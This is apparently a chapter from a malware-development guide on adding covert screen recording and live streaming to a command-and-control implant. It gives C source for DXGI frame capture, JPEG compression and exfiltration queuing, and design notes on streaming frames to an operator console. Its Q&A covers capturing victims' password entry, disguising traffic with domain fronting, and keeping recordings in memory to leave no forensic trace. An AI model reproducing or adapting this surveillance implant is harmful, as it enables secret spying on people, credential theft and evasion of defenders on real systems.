Chapter 74

Screen Recording and Live Streaming

Still screenshots capture moments. Screen recording captures intent — you can watch the full workflow, see how the user navigates a system, observe credentials being entered across a multi-step authentication flow, and replay corporate communications as they happen. The key engineering challenges are: capturing frames fast enough to be watchable (10-15 FPS minimum), compressing each frame so exfiltration is tractable, managing memory so a long recording session doesn't crash the host, and optionally implementing a live stream mode where the operator watches in real time.

Recording Architecture

Screen recording pipeline — capture, compress, queue, exfil
  ┌────────────────────────────────────────────────────────────────────────┐
  │                    SCREEN RECORDING PIPELINE                          │
  │                                                                        │
  │  Capture thread (10 FPS)           Compression thread                 │
  │  ────────────────────────          ──────────────────                 │
  │  DXGI AcquireNextFrame             Dequeue raw frame                  │
  │  → raw BGRA frame (8MB)            → MJPEG encode (miniz/libjpeg)     │
  │  → push to frame queue  ─────────► → output: ~50-100KB per frame      │
  │                                    → push to exfil queue              │
  │                                                ↓                       │
  │  Frame queue               Exfil queue (chunked)                      │
  │  ───────────               ──────────────────────                     │
  │  Max 3 raw frames          MJPEG frames accumulated                   │
  │  (3 × 8MB = 24MB cap)      → 64KB chunks                             │
  │  Blocks capture if full    → AES-256-GCM encrypt                      │
  │  (back-pressure: rate      → send in next beacon window               │
  │   limits capture to                                                    │
  │   compression speed)                                                   │
  │                                                                        │
  │  MJPEG stream format:                                                  │
  │  ─────────────────────────────────────────────────────────────────────│
  │  [4 bytes: magic 0x4D4A4547]  "MJEG"                                  │
  │  [4 bytes: frame count]                                                │
  │  Per frame:                                                            │
  │    [4 bytes: frame number]                                             │
  │    [4 bytes: timestamp (ms since recording start)]                     │
  │    [4 bytes: JPEG data length]                                         │
  │    [N bytes: JPEG data]                                                │
  │                                                                        │
  │  At 10 FPS, 100KB/frame average:                                       │
  │    1 minute of recording = 60MB                                        │
  │    At 64KB chunks, 30s beacons: ~31 mins to exfil 1 min of video      │
  │    Reduce FPS to 5 or quality to 60% for 3:1 size reduction           │
  └────────────────────────────────────────────────────────────────────────┘

Capture Thread Implementation

/* screen_record.c — DXGI-based screen recorder with JPEG compression */

#include <windows.h>
#include <d3d11.h>
#include <dxgi1_2.h>

#define TARGET_FPS       10
#define FRAME_INTERVAL   (1000 / TARGET_FPS)  /* 100ms between frames */
#define MAX_QUEUE_FRAMES 4                     /* raw frame buffer: 4 × ~8MB */
#define JPEG_QUALITY     75                    /* 0-100; 75 gives good size/quality tradeoff */

/* Simple lock-based frame queue */
typedef struct {
    BYTE  *bgra;      /* Raw pixel data */
    DWORD  width;
    DWORD  height;
    DWORD  data_len;
    DWORD  frame_num;
    DWORD  timestamp;
} RawFrame;

typedef struct {
    RawFrame       frames[MAX_QUEUE_FRAMES];
    volatile LONG  head, tail;
    HANDLE         not_empty;  /* Signaled when a frame is pushed */
    HANDLE         not_full;   /* Signaled when a frame is popped */
} FrameQueue;

static FrameQueue    g_queue       = {0};
static volatile BOOL g_recording   = FALSE;
static DWORD         g_frame_count = 0;
static DWORD         g_start_tick  = 0;

/* Capture loop — runs in its own thread */
static DWORD WINAPI capture_thread(PVOID arg) {
    DXGICapture cap = {0};
    if (!dxgi_capture_init(&cap, 0)) {
        /* Fall back to GDI on init failure */
        return 1;
    }

    g_start_tick = GetTickCount();

    while (g_recording) {
        DWORD frame_start = GetTickCount();

        /* Wait for space in the queue (back-pressure) */
        WaitForSingleObject(g_queue.not_full, INFINITE);
        if (!g_recording) break;

        /* Acquire frame from DXGI */
        IDXGIResource *desktop_res = NULL;
        DXGI_OUTDUPL_FRAME_INFO fi = {0};
        HRESULT hr = cap.duplication->lpVtbl->AcquireNextFrame(
            cap.duplication, 200, &fi, &desktop_res);
        
        if (SUCCEEDED(hr)) {
            LONG slot = g_queue.tail % MAX_QUEUE_FRAMES;
            RawFrame *frame = &g_queue.frames[slot];

            /* Copy frame pixels (simplified — full impl maps staging texture) */
            frame->width     = cap.width;
            frame->height    = cap.height;
            frame->data_len  = cap.width * cap.height * 4;
            frame->frame_num = g_frame_count++;
            frame->timestamp = GetTickCount() - g_start_tick;
            
            if (!frame->bgra) {
                frame->bgra = (BYTE*)VirtualAlloc(NULL, frame->data_len,
                                                   MEM_COMMIT|MEM_RESERVE,
                                                   PAGE_READWRITE);
            }
            /* (copy GPU texture pixels into frame->bgra) */

            InterlockedIncrement(&g_queue.tail);
            SetEvent(g_queue.not_empty);

            desktop_res->lpVtbl->Release(desktop_res);
            cap.duplication->lpVtbl->ReleaseFrame(cap.duplication);
        }

        /* Maintain target FPS: sleep for remaining frame interval */
        DWORD elapsed = GetTickCount() - frame_start;
        if (elapsed < FRAME_INTERVAL) Sleep(FRAME_INTERVAL - elapsed);
    }
    return 0;
}

/* Compression thread — JPEG-encodes raw frames using GDI+ */
#include <gdiplus.h>
#pragma comment(lib, "gdiplus.lib")

static CLSID g_jpeg_clsid;

static void get_encoder_clsid(void) {
    UINT num = 0, sz = 0;
    GdipGetImageEncodersSize(&num, &sz);
    void *codecs = malloc(sz);
    GdipGetImageEncoders(num, sz, codecs);
    /* Find JPEG encoder by MIME type "image/jpeg" */
    /* (enumeration code omitted for brevity — finds JPEG CLSID) */
    free(codecs);
}

static DWORD WINAPI compress_thread(PVOID arg) {
    ULONG_PTR gdip_token;
    GdiplusStartupInput gsi = {.GdiplusVersion = 1};
    GdiplusStartup(&gdip_token, &gsi, NULL);
    get_encoder_clsid();

    while (g_recording || g_queue.head != g_queue.tail) {
        WaitForSingleObject(g_queue.not_empty, 500);

        while (g_queue.head != g_queue.tail) {
            LONG slot = g_queue.head % MAX_QUEUE_FRAMES;
            RawFrame *frame = &g_queue.frames[slot];

            /* Encode BGRA pixels to JPEG in memory */
            GpBitmap *bmp = NULL;
            GdipCreateBitmapFromScan0(frame->width, frame->height,
                                       frame->width * 4, PixelFormat32bppARGB,
                                       frame->bgra, &bmp);

            IStream *stream = NULL;
            CreateStreamOnHGlobal(NULL, TRUE, &stream);

            /* Quality parameter */
            EncoderParameters enc_params = {0};
            enc_params.Count = 1;
            enc_params.Parameter[0].Guid            = EncoderQuality;
            enc_params.Parameter[0].Type            = EncoderParameterValueTypeLong;
            enc_params.Parameter[0].NumberOfValues  = 1;
            ULONG quality = JPEG_QUALITY;
            enc_params.Parameter[0].Value           = &quality;

            GdipSaveImageToStream((GpImage*)bmp, stream, &g_jpeg_clsid, &enc_params);

            /* Get stream size and data */
            LARGE_INTEGER zero = {0};
            ULARGE_INTEGER pos = {0};
            stream->lpVtbl->Seek(stream, zero, STREAM_SEEK_END, &pos);
            DWORD jpeg_len = (DWORD)pos.LowPart;

            stream->lpVtbl->Seek(stream, zero, STREAM_SEEK_SET, NULL);
            BYTE *jpeg_buf = (BYTE*)VirtualAlloc(NULL, jpeg_len + 12,
                                                   MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
            ULONG read = 0;
            stream->lpVtbl->Read(stream, jpeg_buf + 12, jpeg_len, &read);

            /* Prepend frame header: [frame_num(4)][timestamp(4)][length(4)][jpeg] */
            *(DWORD*)(jpeg_buf+0) = frame->frame_num;
            *(DWORD*)(jpeg_buf+4) = frame->timestamp;
            *(DWORD*)(jpeg_buf+8) = jpeg_len;

            /* Queue for exfiltration */
            /* append_result(TASK_SCREEN_RECORD, jpeg_buf, jpeg_len + 12); */
            printf("[+] Frame %u: %u bytes JPEG (%ux%u) at t=%ums\n",
                   frame->frame_num, jpeg_len, frame->width, frame->height,
                   frame->timestamp);

            VirtualFree(jpeg_buf, 0, MEM_RELEASE);
            GdipDisposeImage((GpImage*)bmp);
            stream->lpVtbl->Release(stream);

            InterlockedIncrement(&g_queue.head);
            SetEvent(g_queue.not_full);
        }
    }

    GdiplusShutdown(gdip_token);
    return 0;
}

/* Plugin interface */
static HANDLE g_cap_thread  = NULL;
static HANDLE g_comp_thread = NULL;

BOOL cap_start(PVOID params, DWORD params_len) {
    g_queue.not_empty = CreateEventA(NULL, FALSE, FALSE, NULL);
    g_queue.not_full  = CreateSemaphoreA(NULL, MAX_QUEUE_FRAMES, MAX_QUEUE_FRAMES, NULL);
    g_recording = TRUE;
    g_cap_thread  = CreateThread(NULL, 0, capture_thread,  NULL, 0, NULL);
    g_comp_thread = CreateThread(NULL, 0, compress_thread, NULL, 0, NULL);
    return g_cap_thread && g_comp_thread;
}

VOID cap_stop(VOID) {
    g_recording = FALSE;
    SetEvent(g_queue.not_empty);
    SetEvent(g_queue.not_full);
    WaitForSingleObject(g_comp_thread, 5000);
    CloseHandle(g_cap_thread);
    CloseHandle(g_comp_thread);
}

Live Streaming Mode

Live stream vs. recorded mode — design tradeoffs
  RECORDED MODE (default)
  ─────────────────────────────────────────────────────────────────────────
  Frames → compress → exfil queue → next beacon window → C2 server
  
  Latency: 30s-several minutes (beacon interval + queue drain time)
  Bandwidth: Well-managed, chunked exfil, AES-encrypted
  Detection: Indistinguishable from normal HTTPS traffic patterns
  Use when: Passive intelligence gathering, victim not time-sensitive
  
  LIVE STREAM MODE (operator-activated, higher risk)
  ─────────────────────────────────────────────────────────────────────────
  Frames → compress → immediate HTTP POST → display on C2 console
  
  Protocol: Long-polling or WebSocket to C2 operator console
            Agent sends MJPEG frames as multipart/x-mixed-replace
            C2 console displays live in browser (img tag with MJPEG src)
  
  Latency: 1-3 seconds (capture → compress → POST → display)
  Bandwidth: High — 10 FPS × 100KB/frame = 1 MB/s sustained
  Detection: HIGH — continuous outbound data stream, anomalous
  Use when: Active incident — need real-time visibility NOW
            Time-limited window (user about to leave)
  
  Mitigation in live mode:
    Reduce to 5 FPS (500KB/s instead of 1MB/s)
    Use domain fronted connection to CDN (traffic looks like video CDN)
    Auto-revert to recorded mode after N minutes if operator inactive
    
  OPERATOR CONSOLE display (C2 side — JavaScript):
    // Receive MJPEG stream and display in canvas
    const canvas = document.getElementById('screen');
    const ctx = canvas.getContext('2d');
    // ... (binary frame parsing and ImageBitmap rendering)

Memory Management for Long Sessions

/* Memory budget management for long recording sessions */

#define MAX_QUEUED_FRAMES_MEMORY  (100 * 1024 * 1024)  /* 100MB cap on queued JPEG data */

typedef struct {
    volatile LONG  queued_bytes;   /* Current bytes in exfil queue */
    DWORD          max_bytes;      /* Cap before dropping frames */
    DWORD          dropped_frames; /* Count for diagnostics */
} RecordingMemoryBudget;

static RecordingMemoryBudget g_budget = {
    .max_bytes = MAX_QUEUED_FRAMES_MEMORY
};

BOOL should_drop_frame(DWORD frame_jpeg_size) {
    LONG current = InterlockedAdd(&g_budget.queued_bytes, 0);
    if ((DWORD)current + frame_jpeg_size > g_budget.max_bytes) {
        g_budget.dropped_frames++;
        printf("[!] Frame budget exceeded (%lu MB queued), dropping frame\n",
               current / (1024*1024));
        return TRUE;
    }
    return FALSE;
}

void on_frame_exfiltrated(DWORD frame_size) {
    InterlockedAdd(&g_budget.queued_bytes, -(LONG)frame_size);
}

/*
 * Adaptive quality: if queue is growing faster than it can exfil,
 * automatically reduce JPEG quality to slow accumulation.
 */
DWORD get_adaptive_quality(void) {
    LONG queued = InterlockedAdd(&g_budget.queued_bytes, 0);
    DWORD pct = (DWORD)((queued * 100) / g_budget.max_bytes);
    
    if (pct > 80) return 40;      /* Queue nearly full: very aggressive compression */
    if (pct > 50) return 55;      /* Queue half full: reduce quality */
    if (pct > 25) return 65;      /* Queue getting there: slight reduction */
    return JPEG_QUALITY;           /* Queue healthy: use full quality */
}

Questions & Answers

What's the minimum FPS that produces actionable surveillance video?

It depends on what you're recording. For credential entry and form navigation: 5 FPS is sufficient. Humans type slowly and every action (click a field, type username, Tab, type password, click submit) takes multiple seconds. At 5 FPS you capture every state. For general computer use surveillance (monitoring what the user is doing): 5-10 FPS. You'll see every application open, every document viewed, every communication typed. For capturing fast-moving content like screen share presentations or rapidly scrolled feeds: 10-15 FPS. At 10 FPS, 100KB/frame average JPEG: that's 1MB per second of recording, 60MB per minute. Compare to a single screenshot per minute (100KB), where recording gives you 600x more data at 600x the cost. Use event-triggered recording (Ch73's event triggers): start recording when the user opens a browser login page, stop after 2 minutes or after detecting the Enter key indicating submission. This focuses recording bandwidth on high-value moments.

How does MJPEG differ from H.264/H.265, and why is MJPEG simpler for this use case?

H.264 and H.265 use inter-frame compression — each frame is encoded relative to previous frames (P-frames and B-frames). This gives 10-50x better compression than MJPEG but requires the encoder to maintain state across frames and the decoder to decompress frames in dependency order. If you lose one keyframe (I-frame), everything that depends on it is corrupted until the next I-frame. MJPEG encodes each frame as an independent JPEG — no inter-frame dependencies. Each frame is self-contained. This matters for us because: (1) we send frames through a chunked exfil pipeline where frames may arrive out of order or with gaps — MJPEG handles this gracefully (just missing frames, no corruption cascade), (2) the C2 operator can display any individual frame without needing to decompress a preceding sequence, (3) no encoder state means the recording module is stateless and can pause/resume recording without issue. H.264 makes sense if you're doing uninterrupted recording to a file (the codec library handles everything) — for networked surveillance with potential gaps, MJPEG's simplicity wins.

How do you handle recording when the user locks their screen or the display turns off?

When the user locks the screen (WTS_SESSION_LOCK, Win+L), DXGI AcquireNextFrame still returns frames — but they're the lock screen content, which has no intelligence value. Detect the locked state: register for WTSRegisterSessionNotification (WM_WTSSESSION_CHANGE, WTS_SESSION_LOCK) or poll the current session state via WTSQuerySessionInformation. When locked: pause frame capture (no point burning bandwidth on the lock screen), but keep the recording thread alive. Resume on WTS_SESSION_UNLOCK. For display power-off (monitor sleep): DXGI returns DXGI_ERROR_ACCESS_LOST or frames stop changing. Reinitialize the duplication interface when the display returns — you must destroy and recreate IDXGIOutputDuplication after a mode change or power event. This is documented: handle DXGI_ERROR_ACCESS_LOST by calling ReleaseFrame + destroying the duplication object + calling DuplicateOutput again.

Can you avoid storing any recording data on disk while still surviving agent restarts?

Fully in-memory recording is the default design — everything lives in VirtualAlloc buffers in the agent process. If the agent restarts, unexfiltrated recording data is lost. For missions where recording continuity matters more than disk avoidance: consider writing encrypted chunks to a temp file (using the environmental key from Ch63 so the chunks are useless without the victim machine's environment). On restart, the agent checks for this temp file, decrypts and re-queues the chunks, then deletes the file after successful exfiltration. The tradeoff: touches disk (potential forensic evidence) vs. survives restarts. For short recording sessions (5-10 minutes targeting a specific event), staying entirely in memory is preferable. For long-running surveillance where you can't afford to lose 4 hours of recording, the encrypted-temp-file approach is justified.

How does the C2 operator request live streaming on demand versus pre-recorded capture?

The task system from Ch71 handles this via task type differentiation. TASK_SCREEN_RECORD_START with parameter mode=0 starts background recording (chunked exfil, recorded mode). TASK_SCREEN_RECORD_START with mode=1 starts live stream mode. The agent spawns the capture+compress thread but routes output differently: instead of the exfil queue, frames go to a dedicated live-stream channel — a persistent HTTPS connection (long-poll or HTTP/2 stream) to the C2 server's streaming endpoint. The C2 operator console shows a real-time video feed. TASK_SCREEN_RECORD_STOP terminates either mode. The C2 server should enforce a live-stream time budget (auto-terminate after 10 minutes by default, configurable) to prevent operators from accidentally leaving a high-bandwidth stream running indefinitely. At 1MB/s for 8 hours, that's 28GB of traffic from one victim — absolutely anomalous and almost certainly triggering DLP alerts on any enterprise network.